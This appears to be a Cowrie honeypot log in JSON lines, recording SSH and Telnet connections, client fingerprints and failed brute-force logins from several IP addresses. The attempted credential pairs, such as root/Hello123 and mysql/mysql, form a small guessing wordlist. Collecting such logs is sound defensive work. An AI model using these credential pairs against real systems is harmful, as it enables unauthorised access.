{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:43.339937Z","src_ip":"45.153.34.195","session":"69625a99f4e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello123","message":"login attempt [root/Hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:43.813372Z","src_ip":"101.36.122.139","session":"6460fd670b57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59918,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec76f4efbd3a","protocol":"ssh","message":"New connection: 91.92.40.36:59918 (10.17.0.5:22) [session: ec76f4efbd3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:44.057600Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":56250,"dst_ip":"10.17.0.5","dst_port":22,"session":"439e502d1d69","protocol":"ssh","message":"New connection: 45.153.34.195:56250 (10.17.0.5:22) [session: 439e502d1d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:44.758018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:44.814984Z","src_ip":"45.153.34.195","session":"439e502d1d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:44.833614Z","src_ip":"91.92.40.36","session":"f0c72e8cfa02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:44.903670Z","src_ip":"45.153.34.195","session":"439e502d1d69","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:45.003369Z","src_ip":"91.92.40.36","session":"ec76f4efbd3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:45.006836Z","src_ip":"91.92.40.36","session":"ec76f4efbd3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:45.038309Z","src_ip":"101.36.122.139","session":"6460fd670b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fernando","password":"fernando","message":"login attempt [fernando/fernando] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:45.326565Z","src_ip":"45.153.34.195","session":"439e502d1d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:46.475431Z","src_ip":"45.153.34.195","session":"439e502d1d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":56266,"dst_ip":"10.17.0.5","dst_port":22,"session":"193566d8912c","protocol":"ssh","message":"New connection: 45.153.34.195:56266 (10.17.0.5:22) [session: 193566d8912c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:47.644098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:47.659287Z","src_ip":"45.153.34.195","session":"193566d8912c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:47.831885Z","src_ip":"45.153.34.195","session":"193566d8912c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"professor","password":"professor","message":"login attempt [professor/professor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:48.259156Z","src_ip":"45.153.34.195","session":"193566d8912c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:49.343615Z","src_ip":"45.153.34.195","session":"193566d8912c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"web","message":"login attempt [web/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:50.102303Z","src_ip":"91.92.40.36","session":"ec76f4efbd3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":56278,"dst_ip":"10.17.0.5","dst_port":22,"session":"c23ab9dad266","protocol":"ssh","message":"New connection: 45.153.34.195:56278 (10.17.0.5:22) [session: c23ab9dad266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:50.656920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:50.662589Z","src_ip":"45.153.34.195","session":"c23ab9dad266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:50.759681Z","src_ip":"45.153.34.195","session":"c23ab9dad266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26216,"dst_ip":"10.17.0.5","dst_port":22,"session":"7988c317db54","protocol":"ssh","message":"New connection: 91.92.40.36:26216 (10.17.0.5:22) [session: 7988c317db54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:50.891204Z"}
{"eventid":"cowrie.login.failed","username":"matt","password":"matt","message":"login attempt [matt/matt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:51.044319Z","src_ip":"45.153.34.195","session":"c23ab9dad266","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:51.530905Z","src_ip":"91.92.40.36","session":"7988c317db54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:51.535068Z","src_ip":"91.92.40.36","session":"7988c317db54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:52.127348Z","src_ip":"45.153.34.195","session":"c23ab9dad266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:53.019112Z","src_ip":"91.92.40.36","session":"ec76f4efbd3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20152,"dst_ip":"10.17.0.5","dst_port":22,"session":"9acfd0c85b3a","protocol":"ssh","message":"New connection: 45.153.34.195:20152 (10.17.0.5:22) [session: 9acfd0c85b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:53.659472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:53.667660Z","src_ip":"45.153.34.195","session":"9acfd0c85b3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:53.759735Z","src_ip":"45.153.34.195","session":"9acfd0c85b3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111.","message":"login attempt [root/Aa111111.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:54.107314Z","src_ip":"45.153.34.195","session":"9acfd0c85b3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:55.190938Z","src_ip":"45.153.34.195","session":"9acfd0c85b3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20168,"dst_ip":"10.17.0.5","dst_port":22,"session":"13e4f7f676d2","protocol":"ssh","message":"New connection: 45.153.34.195:20168 (10.17.0.5:22) [session: 13e4f7f676d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:56.480831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:56.488305Z","src_ip":"45.153.34.195","session":"13e4f7f676d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:56.573171Z","src_ip":"45.153.34.195","session":"13e4f7f676d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:56.834344Z","src_ip":"45.153.34.195","session":"13e4f7f676d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38760,"dst_ip":"159.203.135.109","dst_port":23,"session":"76f62db2ac2d","protocol":"telnet","message":"New connection: 128.199.8.54:38760 (159.203.135.109:23) [session: 76f62db2ac2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:56.858126Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:57.923532Z","src_ip":"45.153.34.195","session":"13e4f7f676d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"useruser","message":"login attempt [user/useruser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:58.543795Z","src_ip":"91.92.40.36","session":"7988c317db54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20180,"dst_ip":"10.17.0.5","dst_port":22,"session":"926cd0b79472","protocol":"ssh","message":"New connection: 45.153.34.195:20180 (10.17.0.5:22) [session: 926cd0b79472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:59.405937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:59.439176Z","src_ip":"45.153.34.195","session":"926cd0b79472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:59.540824Z","src_ip":"45.153.34.195","session":"926cd0b79472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"root","message":"login attempt [user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:59.918527Z","src_ip":"45.153.34.195","session":"926cd0b79472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:00.603122Z","src_ip":"91.92.40.36","session":"7988c317db54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:01.009506Z","src_ip":"45.153.34.195","session":"926cd0b79472","protocol":"ssh"}
